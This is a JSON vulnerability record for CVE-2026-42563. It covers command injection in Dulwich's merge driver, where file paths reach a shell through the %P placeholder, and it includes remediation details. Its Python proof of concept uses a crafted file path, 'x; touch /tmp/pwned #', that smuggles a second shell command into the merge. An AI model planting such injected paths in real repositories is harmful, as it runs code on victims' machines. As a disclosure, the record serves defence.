{"id":"CVE-2026-42563","aliases":["GHSA-9277-mp7x-85jf","PYSEC-2026-2464"],"title":"Dulwich Vulnerable to Command Injection via Merge Driver Path","summary":"Dulwich Vulnerable to Command Injection via Merge Driver Path","severity":"high","vendor":"dulwich","product":"dulwich","ecosystem":"pip","affected":["dulwich >= 0.24.0, < 1.2.5"],"patched":["dulwich 1.2.5"],"published":"2026-05-28","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:05.165324181Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-9277-mp7x-85jf","references":[{"url":"https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42563"},{"url":"https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"},{"url":"https://github.com/jelmer/dulwich"},{"url":"https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"}],"tags":["osv","pip"],"epss":0.00555,"epssPercentile":0.45144,"ingestedAt":"2026-07-13T18:57:55.637Z","slug":"CVE-2026-42563","body":"## Overview\n\n## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P > %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# => Executes: echo x; touch /tmp/pwned #\n# => Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)\n\n## Affected packages\n\n- `dulwich >= 0.24.0, < 1.2.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `dulwich 1.2.5`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}